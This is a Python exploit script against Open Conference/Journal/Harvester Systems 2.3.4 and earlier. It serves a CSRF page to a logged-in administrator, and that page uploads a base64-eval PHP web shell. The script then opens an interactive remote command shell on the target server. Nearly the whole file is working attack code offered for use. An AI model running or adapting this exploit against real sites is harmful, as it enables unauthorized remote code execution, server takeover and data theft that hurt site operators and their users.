import sys
import urllib
import urllib2
from optparse import OptionParser
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
from socket import gethostbyname, gethostname
from time import sleep
from base64 import b64encode
usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d ocs-2.3.4 -P 80 -s seriousbiz"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="target_path",
help="Directory path to the Open Conference/Journal/Harvester Systems")
parser.add_option("-s", type="string", action="store", dest="conf_jour_arch",
help="The target conference/journal/archive")
parser.add_option("-P", type="int", action="store", dest="localport",
help="The local port to have the target client connect back on")
(options, args) = parser.parse_args()
phpkode = "<?php error_reporting(0); eval(base64_decode($_SERVER[HTTP_HAX])); ?>"
app_entry_id = "1"
app_type = "journals"
def banner():
print ("\n\t| -------------------------------------------------------------------------------------------- |")
print ("\t| Open Conference/Journal/Harvester Systems <= 2.3.4 csrf/upload remote code execution exploit |")
print ("\t| found by mr_me ----------------------------------------------------------------------------- |\n")
def test_proxy():
check = 1
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
try:
req = urllib2.Request("http://www.google.com/")
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req)
except:
check = 0
pass
if check != 0:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
print ("proxy failed, exiting..")
sys.exit(1)
def submit_request(exploit, header=None, data=None):
try:
if header != None:
headers = {}
headers['Hax'] = header
if data != None:
data = urllib.urlencode(data)
req = urllib2.Request("http://"+exploit, data, headers)
if options.proxy:
req.set_proxy(options.proxy,"http")
check = urllib2.urlopen(req).read()
except urllib.error.HTTPError, error:
check = error.read()
except urllib.error.URLError:
print ("(-) Target connection failed, check your address")
sys.exit(1)
return check
def check_request(req):
req = urllib2.Request("http://"+req)
if options.proxy:
req.set_proxy(options.proxy,"http")
return urllib2.urlopen(req).code
def check_shell():
full_request = options.target + "/" + options.target_path + "/files/" + app_type +"/" + app_entry_id + "/zeitgeist.php"
try:
check_request(full_request)
print ("(!) Code injection worked!")
return True
except:
print ("(-) Code injection and execution failed!")
print ("(-) Target client may not logged into the admin interface of Open Systems..!\n")
return False
return True
def drop_to_shell():
print ("(!) Launching webshell..!")
hn = "\nopensys_shell@%s# " % (options.target)
raw_cmd = ""
while raw_cmd != 'q':
raw_cmd = raw_input(hn)
base64_cmd = b64encode("system(\"%s\");" % raw_cmd)
try:
full_request = options.target + "/" + options.target_path + "/files/" + app_type + "/" + app_entry_id + "/zeitgeist.php"
cmd_response = submit_request(full_request, base64_cmd, "")
except:
print ("(-) Code injection and execution failed!")
print ("(-) Target client may not logged into the admin interface of Open Systems..!\n")
break
print cmd_response.rstrip()
print ("(+) Back to listening..\n")
class myRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.printCustomHTTPResponse(200)
if self.path == "/":
target=self.client_address[0]
self.response = """<html>
<body>
<script>
var target = 'http://[targethost]/[path]/index.php/[app]/index/manager/fileUpload/';
function fileUpload(fileData, fileName) {
var fileSize = fileData.length,
boundary = "---------------------------270883142628617",
uri = target,
xhr = new XMLHttpRequest(),
fileFieldName = "file";
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
xhr.withCredentials = "true";
var body = "";
body += addFileField(fileFieldName, fileData, fileName, boundary);
body += "--" + boundary + "--";
xhr.send(body);
return true;
}
function addFileField(name, value, filename, boundary) {
var c = "--" + boundary + "\\r\\n"
c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\\r\\n';
c += "Content-Type: application/x-httpd-php\\r\\n\\r\\n";
c += value + "\\r\\n";
return c;
}
function start() {
fileUpload("[phpkode]", "zeitgeist.php");
}
start();
</script>
</body>
</html>"""
self.response = self.response.replace("[targethost]",options.target)
self.response = self.response.replace("[path]",options.target_path)
if app_type == "journals":
self.response = self.response.replace("[app]/index",options.conf_jour_arch)
else:
self.response = self.response.replace("[app]",options.conf_jour_arch)
self.response = self.response.replace("[phpkode]",phpkode)
self.wfile.write(self.response)
print ("\n(+) Exploit sent to the client target %s attacking %s." % (target,options.target))
sleep(2)
if check_shell():
drop_to_shell()
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
def main():
if len(sys.argv) <= 8:
banner()
parser.print_help()
sys.exit(1)
elif not options.target_path or not options.conf_jour_arch or not options.target:
banner()
parser.print_help()
sys.exit(1)
if not options.localport:
port = 8080
else:
port = int(options.localport)
httpd = HTTPServer(('', port), myRequestHandler)
print (
"""\n\t\t+==============================================================================================+
\t| Open Conference/Journal/Harvester Systems <= 2.3.X csrf/upload/remote code execution exploit |
\t| Found by: mr_me |
\t+==============================================================================================+""")
if options.proxy:
test_proxy()
print ("(+) Listening on local port %d." % port)
print ("(+) Have someone connect to you at http://%s:%s/" % (gethostbyname(gethostname()),port))
print ("\nType <ctrl>-c to exit..\n")
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("(-) Exiting Exploit.")
sys.exit(1)
if __name__ == "__main__":
main()
